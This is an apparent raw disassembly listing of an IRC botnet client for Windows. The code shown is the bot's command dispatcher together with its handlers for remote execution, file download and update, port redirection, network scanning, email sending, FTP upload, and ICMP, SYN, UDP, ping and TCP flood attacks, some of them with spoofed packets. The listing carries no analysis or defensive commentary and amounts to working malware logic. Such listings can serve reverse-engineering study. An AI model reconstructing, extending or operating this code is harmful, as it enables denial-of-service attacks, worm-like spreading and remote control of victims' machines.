loc_404B9F: ; CODE XREF: seg000:00404B93j
push offset aNetShareListFa ; "[NET]: Share list failed."
jmp loc_4068E4
; ---------------------------------------------------------------------------
loc_404BA9: ; CODE XREF: seg000:00404B30j
push edi
push offset aUser ; "user"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_404C61
mov eax, [ebp+20h]
cmp eax, ebx
jz short loc_404C34
cmp [ebp-9B0h], bl
jz short loc_404BEA
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
push ebx
push eax
push 1
call sub_418755
push eax
push offset aS_8 ; "%s"
jmp short loc_404C20
; ---------------------------------------------------------------------------
loc_404BEA: ; CODE XREF: seg000:00404BCBj
push dword ptr [ebp-4]
mov esi, [ebp+esi-88h]
cmp esi, ebx
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
jz short loc_404C11
push esi
push eax
push ebx
call sub_418755
push eax
push offset aS_9 ; "%s"
jmp short loc_404C20
; ---------------------------------------------------------------------------
loc_404C11: ; CODE XREF: seg000:00404BFFj
push ebx
push eax
push 2
call sub_418755
push eax
push offset aS_10 ; "%s"
loc_404C20: ; CODE XREF: seg000:00404BE8j
; seg000:00404C0Fj
lea eax, [ebp-2C8h]
push eax
call sub_41D260
add esp, 24h
jmp loc_4068F2
; ---------------------------------------------------------------------------
loc_404C34: ; CODE XREF: seg000:00404BC3j
push ebx
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_418C69
add esp, 10h
test eax, eax
jz short loc_404C57
push offset aNetUserListCom ; "[NET]: User list completed."
jmp loc_4068E4
; ---------------------------------------------------------------------------
loc_404C57: ; CODE XREF: seg000:00404C4Bj
push offset aNetUserListFai ; "[NET]: User list failed."
jmp loc_4068E4
; ---------------------------------------------------------------------------
loc_404C61: ; CODE XREF: seg000:00404BB8j
push edi
push offset aSend_0 ; "send"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_404CAF
cmp [ebp+20h], ebx
jz short loc_404CA5
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call loc_418F1D
push eax
lea eax, [ebp-2C8h]
push offset aS_11 ; "%s"
push eax
call sub_41D260
add esp, 1Ch
jmp loc_4068F2
; ---------------------------------------------------------------------------
loc_404CA5: ; CODE XREF: seg000:00404C75j
push offset aNetNoMessageSp ; "[NET]: No message specified."
jmp loc_4068E4
; ---------------------------------------------------------------------------
loc_404CAF: ; CODE XREF: seg000:00404C70j
push offset aNetCommandUnkn ; "[NET]: Command unknown."
jmp loc_4068E4
; ---------------------------------------------------------------------------
loc_404CB9: ; CODE XREF: seg000:004049DEj
push dword ptr [ebp+18h]
push offset aGethost ; "gethost"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406E2B
push dword ptr [ebp+18h]
push offset aGh ; "gh"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406E2B
mov eax, [ebp+esi-8Ch]
cmp eax, ebx
mov [ebp+20h], eax
jz loc_403498
push dword ptr [ebp+18h]
push offset aAddalias ; "addalias"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406DEC
push dword ptr [ebp+18h]
push offset aAa ; "aa"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406DEC
push dword ptr [ebp+18h]
push offset aPrivmsg_2 ; "privmsg"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406D99
push dword ptr [ebp+18h]
push offset aPm ; "pm"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406D99
push dword ptr [ebp+18h]
push offset aAction ; "action"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406D2B
push dword ptr [ebp+18h]
push offset aA ; "a"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406D2B
push dword ptr [ebp+18h]
push offset aCycle ; "cycle"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406CC8
push dword ptr [ebp+18h]
push offset aCy ; "cy"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406CC8
push dword ptr [ebp+18h]
push offset aMode ; "mode"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406C89
push dword ptr [ebp+18h]
push offset aM ; "m"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406C89
push dword ptr [ebp+18h]
push offset aC_raw ; "c_raw"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406C1E
push dword ptr [ebp+18h]
push offset aC_r ; "c_r"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406C1E
push dword ptr [ebp+18h]
push offset aC_mode ; "c_mode"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406B9C
push dword ptr [ebp+18h]
push offset aC_m ; "c_m"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406B9C
push dword ptr [ebp+18h]
push offset aC_nick ; "c_nick"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406B2B
push dword ptr [ebp+18h]
push offset aC_n ; "c_n"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406B2B
push dword ptr [ebp+18h]
push offset aC_join ; "c_join"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406ADF
push dword ptr [ebp+18h]
push offset aC_j ; "c_j"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406ADF
push dword ptr [ebp+18h]
push offset aC_part ; "c_part"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406A7C
push dword ptr [ebp+18h]
push offset aC_p ; "c_p"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406A7C
push dword ptr [ebp+18h]
push offset aRepeat ; "repeat"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4069B6
push dword ptr [ebp+18h]
push offset aRp ; "rp"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4069B6
push dword ptr [ebp+18h]
push offset aDelay ; "delay"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40691B
push dword ptr [ebp+18h]
push offset aDe ; "de"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40691B
push dword ptr [ebp+18h]
push offset aUpdate909 ; "update909"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406763
push dword ptr [ebp+18h]
push offset aUp909_0 ; "up909"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406763
push dword ptr [ebp+18h]
push offset aExecute ; "execute"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4066D0
push dword ptr [ebp+18h]
push offset aE ; "e"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4066D0
push dword ptr [ebp+18h]
push offset aRename ; "rename"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40664C
push dword ptr [ebp+18h]
push offset aMv ; "mv"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40664C
push dword ptr [ebp+18h]
push offset aIcmpflood ; "icmpflood"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406551
push dword ptr [ebp+18h]
push offset aIcmp ; "icmp"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406551
mov eax, [ebp+esi-88h]
cmp eax, ebx
mov [ebp+8], eax
jz loc_403498
push dword ptr [ebp+18h]
push offset aClone_0 ; "clone"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406466
push dword ptr [ebp+18h]
push offset aC ; "c"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406466
push dword ptr [ebp+18h]
push offset aDdos_syn ; "ddos.syn"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406361
push dword ptr [ebp+18h]
push offset aUsa_ack ; "usa.ack"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406361
push dword ptr [ebp+18h]
push offset aUsa_ran ; "usa.ran"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406361
push dword ptr [ebp+18h]
push offset aSynflood ; "synflood"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406263
push dword ptr [ebp+18h]
push offset aSy1 ; "sy1"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406263
push dword ptr [ebp+18h]
push offset aDownload909 ; "download909"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406125
push dword ptr [ebp+18h]
push offset aDl909 ; "dl909"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406125
push dword ptr [ebp+18h]
push offset aRedirect_0 ; "redirect"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40602B
push dword ptr [ebp+18h]
push offset aRd ; "rd"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40602B
push dword ptr [ebp+18h]
push offset aScan ; "scan"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_405F38
push dword ptr [ebp+18h]
push offset aSc ; "sc"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_405F38
push dword ptr [ebp+18h]
push offset aC_privmsg ; "c_privmsg"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_405E63
push dword ptr [ebp+18h]
push offset aC_pm ; "c_pm"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_405E63
push dword ptr [ebp+18h]
push offset aC_action ; "c_action"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_405D4E
push dword ptr [ebp+18h]
push offset aC_a ; "c_a"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_405D4E
mov eax, [ebp+esi-84h]
cmp eax, ebx
mov [ebp+10h], eax
jz loc_403498
push dword ptr [ebp+18h]
push offset aAdvscan ; "advscan"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4059EF
push dword ptr [ebp+18h]
push offset aVv ; "vv"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4059EF
push dword ptr [ebp+18h]
push offset aUdpflood ; "udpflood"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4058CF
push dword ptr [ebp+18h]
push offset aPu ; "pu"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4058CF
push dword ptr [ebp+18h]
push offset aU ; "u"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4058CF
push dword ptr [ebp+18h]
push offset aPingflood ; "pingflood"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40579C
push dword ptr [ebp+18h]
push offset aPing_1 ; "ping"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40579C
push dword ptr [ebp+18h]
push offset aP ; "p"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40579C
push dword ptr [ebp+18h]
push offset aTcpflood ; "tcpflood"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_405609
push dword ptr [ebp+18h]
push offset aUsa ; "usa"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_405609
push dword ptr [ebp+18h]
push offset aEmail ; "email"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_40540A
lea eax, [ebp-3E4h]
push edi
push eax
call sub_41E550
push dword ptr [ebp+20h]
call sub_41D560
push dword ptr [ebp+8]
mov [ebp+20h], eax
lea eax, [ebp-0D9Ch]
push eax
call sub_41E550
push dword ptr [ebp+10h]
lea eax, [ebp-0B94h]
push eax
call sub_41E550
push offset asc_43F9A8 ; " "
push offset a_ ; "_"
push dword ptr [ebp+esi-80h]
call sub_4176D7
push eax
lea eax, [ebp-548h]
push eax
call sub_41E550
add esp, 30h
lea eax, [ebp-6F4h]
push eax
push 101h
call ds:dword_451464
lea eax, [ebp-3E4h]
push eax
call ds:dword_451574
push 6
push 1
push 2
mov edi, eax
call ds:dword_451570
push dword ptr [ebp+20h]
mov esi, eax
mov word ptr [ebp-2D8h], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp-2D4h], eax
call ds:dword_4514F4
mov [ebp-2D6h], ax
lea eax, [ebp-548h]
push eax
lea eax, [ebp-0D9Ch]
push eax
lea eax, [ebp-548h]
push eax
lea eax, [ebp-0B94h]
push eax
lea eax, [ebp-0D9Ch]
push eax
lea eax, [ebp-159Ch]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41D260
add esp, 1Ch
lea eax, [ebp-2D8h]
push 10h
push eax
push esi
call ds:dword_45149C
mov edi, 100h
push ebx
lea eax, [ebp-0C98h]
push edi
push eax
push esi
call ds:dword_45150C
lea eax, [ebp-0C98h]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-159Ch]
push eax
push esi
call ds:dword_451540
push ebx
lea eax, [ebp-0C98h]
push edi
push eax
push esi
call ds:dword_45150C
push esi
call ds:dword_451588
call ds:dword_45144C
lea eax, [ebp-0B94h]
push eax
push offset aEmailMessageSe ; "[EMAIL]: Message sent to %s."
loc_4053D1: ; CODE XREF: seg000:0040654Cj
; seg000:0040675Ej ...
lea eax, [ebp-2C8h]
push eax
call sub_41D260
add esp, 0Ch
loc_4053E0: ; CODE XREF: seg000:00406530j
; seg000:00406710j ...
cmp [ebp-8], ebx
jnz loc_4080D2
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 14h
jmp loc_4080D2
; ---------------------------------------------------------------------------
loc_40540A: ; CODE XREF: seg000:0040527Bj
push dword ptr [ebp+18h]
push offset aHttpcon ; "httpcon"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4055DB
push dword ptr [ebp+18h]
push offset aHcon ; "hcon"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4055DB
mov esi, [ebp+esi-80h]
cmp esi, ebx
jz loc_403498
push dword ptr [ebp+18h]
push offset aUpload ; "upload"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_40845F
push 4
push esi
call sub_416995
pop ecx
test eax, eax
pop ecx
jnz short loc_4054B0
push esi
push offset aFtpFileNotFoun ; "[FTP]: File not found: %s."
loc_40546F: ; CODE XREF: seg000:0040578Dj
; seg000:00405D49j ...
lea eax, [ebp-2C8h]
push eax
call sub_41D260
add esp, 0Ch
loc_40547E: ; CODE XREF: seg000:00405771j
; seg000:00405D2Dj ...
cmp [ebp-8], ebx
jnz short loc_40549F
push ebx
push dword ptr [ebp-4]
loc_405487: ; CODE XREF: seg000:0040635Cj
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
loc_405497: ; CODE XREF: seg000:00407B2Fj
call sub_40145D
add esp, 14h
loc_40549F: ; CODE XREF: seg000:00405481j
; seg000:004058C0j ...
lea eax, [ebp-2C8h]
push eax
call sub_4161A7
jmp loc_4085EC
; ---------------------------------------------------------------------------
loc_4054B0: ; CODE XREF: seg000:00405467j
call ds:dword_4F1340 ; GetTickCount
push eax
call sub_41DB90
pop ecx
call sub_41DBA0
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41DBA0
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41DBA0
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp-0C9Ch]
push edx
push eax
lea eax, [ebp-0B98h]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41D260
lea eax, [ebp-0B98h]
push offset aAb ; "ab"
push eax
call sub_41D0E0
add esp, 20h
cmp eax, ebx
mov [ebp+2Ch], eax
jz loc_403498
push esi
push dword ptr [ebp+10h]
push dword ptr [ebp+8]
push dword ptr [ebp+20h]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41E440
push dword ptr [ebp+2Ch]
call sub_41ACF0
lea eax, [ebp-0B98h]
push eax
lea eax, [ebp-3E4h]
push offset aSS_0 ; "-s:%s"
push eax
call sub_41D260
add esp, 2Ch
lea eax, [ebp-3E4h]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen_0 ; "open"
push ebx
call ds:dword_451460
test eax, eax
push edi
push esi
jz short loc_40557A
push offset aFtpUploadingFi ; "[FTP]: Uploading file: %s to: %s"
jmp short loc_40557F
; ---------------------------------------------------------------------------
loc_40557A: ; CODE XREF: seg000:00405571j
push offset aFtpUploading_0 ; "[FTP]: Uploading file: %s to: %s failed"...
loc_40557F: ; CODE XREF: seg000:00405578j
call sub_41D260
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_4055A8
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 14h
loc_4055A8: ; CODE XREF: seg000:0040558Aj
lea eax, [ebp-2C8h]
push eax
call sub_4161A7
loc_4055B4: ; CODE XREF: seg000:004055D9j
lea eax, [ebp-0B98h]
push 4
push eax
call sub_416995
add esp, 0Ch
test eax, eax
jz loc_403498
lea eax, [ebp-0B98h]
push eax
call sub_41E3D0
jmp short loc_4055B4
; ---------------------------------------------------------------------------
loc_4055DB: ; CODE XREF: seg000:0040541Bj
; seg000:00405432j
push dword ptr [ebp+esi-80h]
push dword ptr [ebp+10h]
push dword ptr [ebp+8]
push dword ptr [ebp+20h]
call sub_41D560
pop ecx
push eax
push edi
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_411418
jmp loc_40845C
; ---------------------------------------------------------------------------
loc_405609: ; CODE XREF: seg000:0040524Dj
; seg000:00405264j
mov esi, 80h
push edi
lea eax, [ebp-680h]
push esi
push eax
call sub_41D360
lea eax, [ebp-680h]
push eax
push offset aSyn ; "syn"
call sub_41D900
add esp, 14h
test eax, eax
jz short loc_40566C
lea eax, [ebp-680h]
push eax
push offset aAck ; "ack"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_40566C
lea eax, [ebp-680h]
push eax
push offset aRandom ; "random"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_40566C
push offset aTcpInvalidFloo ; "[TCP]: Invalid flood type specified."
jmp loc_407C35
; ---------------------------------------------------------------------------
loc_40566C: ; CODE XREF: seg000:00405632j
; seg000:00405649j ...
push dword ptr [ebp+10h]
call sub_41D560
cmp eax, ebx
pop ecx
mov [ebp-578h], eax
jle loc_405792
push edi
lea eax, [ebp-680h]
push esi
push eax
call sub_41D360
push dword ptr [ebp+20h]
lea eax, [ebp-700h]
push esi
push eax
call sub_41D360
push dword ptr [ebp+8]
call sub_41D560
mov [ebp-57Ch], eax
xor eax, eax
cmp [ebp-9A2h], bl
push dword ptr [ebp-8Ch]
setnz al
mov [ebp-574h], eax
mov eax, [ebp+0Ch]
mov [ebp-704h], eax
lea eax, [ebp-600h]
push esi
push eax
call sub_41D360
mov eax, [ebp-4]
add esp, 28h
cmp [ebp-574h], ebx
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_405703
mov eax, offset aNormal ; "Normal"
loc_405703: ; CODE XREF: seg000:004056FCj
push dword ptr [ebp+10h]
push dword ptr [ebp+8]
push dword ptr [ebp+20h]
push edi
push eax
push offset aTcpSSFloodingS ; "[TCP]: %s %s flooding: (%s:%s) for %s s"...
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_41D360
push ebx
lea eax, [ebp-2C8h]
push 14h
push eax
call sub_408D3F
add esp, 2Ch
mov [ebp-580h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-704h]
push ebx
push eax
push offset byte_414E1B
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-580h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_405781
loc_40576B: ; CODE XREF: seg000:0040577Fj
cmp [ebp-568h], ebx
jnz loc_40547E
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_40576B
; ---------------------------------------------------------------------------
loc_405781: ; CODE XREF: seg000:00405769j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aTcpFailedToSta ; "[TCP]: Failed to start flood thread, er"...
jmp loc_40546F
; ---------------------------------------------------------------------------
loc_405792: ; CODE XREF: seg000:0040567Dj
push offset aTcpInvalidFl_0 ; "[TCP]: Invalid flood time must be great"...
jmp loc_407C35
; ---------------------------------------------------------------------------
loc_40579C: ; CODE XREF: seg000:00405208j
; seg000:0040521Fj ...
cmp ds:dword_4515E0, ebx
mov esi, [ebp+0Ch]
jnz loc_4058A4
mov eax, [ebp-8]
push 7Fh
mov [ebp-2ECh], eax
mov eax, [ebp-4]
mov [ebp-2F0h], eax
lea eax, [ebp-384h]
push edi
push eax
call sub_41D800
push dword ptr [ebp+20h]
call sub_41D560
push dword ptr [ebp+8]
mov [ebp-304h], eax
call sub_41D560
push dword ptr [ebp+10h]
mov [ebp-300h], eax
call sub_41D560
push 7Fh
mov [ebp-2FCh], eax
push dword ptr [ebp-8Ch]
lea eax, [ebp-404h]
push eax
call sub_41D800
push dword ptr [ebp-2FCh]
lea eax, [ebp-384h]
mov [ebp-408h], esi
push dword ptr [ebp-300h]
push eax
lea eax, [ebp-2C8h]
push dword ptr [ebp-304h]
push offset aPingSendingDPi ; "[PING]: Sending %d pings to %s. packet "...
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push 16h
push eax
call sub_408D3F
add esp, 48h
mov [ebp-2F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-408h]
push ebx
push eax
push offset word_414272
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-2F4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_405893
loc_405881: ; CODE XREF: seg000:00405891j
cmp [ebp-2E8h], ebx
jnz short loc_4058BD
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_405881
; ---------------------------------------------------------------------------
loc_405893: ; CODE XREF: seg000:0040587Fj
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aPingFailedToSt ; "[PING]: Failed to start flood thread, e"...
jmp loc_406455
; ---------------------------------------------------------------------------
loc_4058A4: ; CODE XREF: seg000:004057A5j
push 1FFh
lea eax, [ebp-2C8h]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41D800
loc_4058BA: ; CODE XREF: seg000:00406461j
add esp, 0Ch
loc_4058BD: ; CODE XREF: seg000:00405887j
; seg000:004059CEj ...
cmp [ebp-8], ebx
jnz loc_40549F
push ebx
push dword ptr [ebp-4]
jmp loc_407B21
; ---------------------------------------------------------------------------
loc_4058CF: ; CODE XREF: seg000:004051C3j
; seg000:004051DAj ...
mov eax, [ebp-8]
push 7Fh
mov [ebp-2ECh], eax
mov eax, [ebp-4]
mov [ebp-2F0h], eax
lea eax, [ebp-384h]
push edi
push eax
call sub_41D800
push dword ptr [ebp+20h]
call sub_41D560
push dword ptr [ebp+8]
mov [ebp-304h], eax
call sub_41D560
push dword ptr [ebp+10h]
mov [ebp-300h], eax
call sub_41D560
mov esi, [ebp+esi-80h]
add esp, 18h
cmp esi, ebx
mov [ebp-2FCh], eax
jz short loc_405934
push esi
call sub_41D560
pop ecx
mov [ebp-2F8h], eax
jmp short loc_40593A
; ---------------------------------------------------------------------------
loc_405934: ; CODE XREF: seg000:00405923j
mov [ebp-2F8h], ebx
loc_40593A: ; CODE XREF: seg000:00405932j
push 7Fh
lea eax, [ebp-404h]
push dword ptr [ebp-8Ch]
push eax
call sub_41D800
push dword ptr [ebp-2FCh]
mov esi, [ebp+0Ch]
lea eax, [ebp-384h]
mov [ebp-408h], esi
push dword ptr [ebp-300h]
push eax
lea eax, [ebp-2C8h]
push dword ptr [ebp-304h]
push offset aUdpSendingDPac ; "[UDP]: Sending %d packets to: %s. Packe"...
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push 17h
push eax
call sub_408D3F
add esp, 30h
mov [ebp-2F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-408h]
push ebx
push eax
push offset word_4143FE
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-2F4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_4059DE
loc_4059C8: ; CODE XREF: seg000:004059DCj
cmp [ebp-2E8h], ebx
jnz loc_4058BD
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_4059C8
; ---------------------------------------------------------------------------
loc_4059DE: ; CODE XREF: seg000:004059C6j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aUdpFailedToSta ; "[UDP]: Failed to start flood thread, er"...
jmp loc_406455
; ---------------------------------------------------------------------------
loc_4059EF: ; CODE XREF: seg000:00405195j
; seg000:004051ACj
push 0Bh
call sub_408F87
push dword ptr [ebp+20h]
mov [ebp+18h], eax
call sub_41D560
add eax, [ebp+18h]
pop ecx
pop ecx
cmp eax, 1F4h
jle short loc_405A42
push dword ptr [ebp+18h]
lea eax, [ebp-2C8h]
push offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"...
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
loc_405A3A: ; CODE XREF: seg000:00406DE7j
add esp, 20h
jmp loc_40845F
; ---------------------------------------------------------------------------
loc_405A42: ; CODE XREF: seg000:00405A0Bj
push edi
call sub_41D560
push dword ptr [ebp+20h]
mov [ebp-31Ch], eax
call sub_41D560
push dword ptr [ebp+8]
mov [ebp-304h], eax
call sub_41D560
add esp, 0Ch
cmp eax, 5
mov [ebp-318h], eax
jnb short loc_405A7B
push 5
pop eax
mov [ebp-318h], eax
loc_405A7B: ; CODE XREF: seg000:00405A70j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_405A88
mov [ebp-318h], ecx
loc_405A88: ; CODE XREF: seg000:00405A80j
push dword ptr [ebp+10h]
call sub_41D560
mov [ebp-314h], eax
mov eax, 320h
cmp [ebp-314h], eax
pop ecx
jbe short loc_405AAA
mov [ebp-314h], eax
loc_405AAA: ; CODE XREF: seg000:00405AA2j
or dword ptr [ebp-300h], 0FFFFFFFFh
cmp ds:dword_4439F0, ebx
mov [ebp+10h], ebx
jz short loc_405B00
mov dword ptr [ebp+2Ch], offset dword_4439F0
loc_405AC3: ; CODE XREF: seg000:00405AE2j
mov eax, [ebp+2Ch]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_405AE6
add dword ptr [ebp+2Ch], 40h
inc dword ptr [ebp+10h]
mov eax, [ebp+2Ch]
cmp [eax], ebx
jnz short loc_405AC3
jmp short loc_405B00
; ---------------------------------------------------------------------------
loc_405AE6: ; CODE XREF: seg000:00405AD4j
mov eax, [ebp+10h]
mov ecx, eax
mov [ebp-300h], eax
shl ecx, 6
mov ecx, ds:dword_4439F0[ecx]
mov [ebp-31Ch], ecx
loc_405B00: ; CODE XREF: seg000:00405ABAj
; seg000:00405AE4j
cmp [ebp-31Ch], ebx
jnz short loc_405B12
push offset aScanFailedToSt ; "[SCAN]: Failed to start scan, port is i"...
jmp loc_407C35
; ---------------------------------------------------------------------------
loc_405B12: ; CODE XREF: seg000:00405B06j
mov edi, [ebp+esi-80h]
cmp edi, ebx
mov [ebp+20h], edi
jz short loc_405B4D
cmp byte ptr [edi], 23h
jz short loc_405B4D
push edi
lea eax, [ebp-430h]
push 10h
push eax
call sub_41D360
push 78h
push edi
call sub_41E650
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp-2F0h], eax
jmp loc_405C21
; ---------------------------------------------------------------------------
loc_405B4D: ; CODE XREF: seg000:00405B1Bj
; seg000:00405B20j
cmp [ebp-9B3h], bl
jnz short loc_405B6F
cmp [ebp-9B2h], bl
jnz short loc_405B6F
cmp [ebp-9A2h], bl
jnz short loc_405B6F
push offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan, no IP spe"...
jmp loc_407C35
; ---------------------------------------------------------------------------
loc_405B6F: ; CODE XREF: seg000:00405B53j
; seg000:00405B5Bj ...
push 10h
lea eax, [ebp+8]
pop edi
push eax
lea eax, [ebp-2D8h]
push eax
mov [ebp+8], edi
push dword ptr [ebp+0Ch]
call ds:dword_451498
mov al, [ebp-9B3h]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp-2D4h], eax
push dword ptr [ebp-2D4h]
call ds:dword_45157C
push eax
lea eax, [ebp-430h]
push eax
call sub_41D800
add esp, 0Ch
cmp [ebp-9A2h], bl
jz short loc_405C1B
xor eax, eax
cmp [ebp-9B3h], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp-430h]
push eax
call sub_41E3A0
pop ecx
cmp edi, ebx
pop ecx
mov [ebp+2Fh], bl
jle short loc_405C0F
loc_405BED: ; CODE XREF: seg000:00405C0Dj
cmp eax, ebx
jz short loc_405C0F
mov byte ptr [eax], 78h
lea eax, [ebp-430h]
push 30h
push eax
call sub_41E3A0
inc byte ptr [ebp+2Fh]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+2Fh]
cmp ecx, edi
jl short loc_405BED
loc_405C0F: ; CODE XREF: seg000:00405BEBj
; seg000:00405BEFj
mov dword ptr [ebp-2F0h], 1
jmp short loc_405C21
; ---------------------------------------------------------------------------
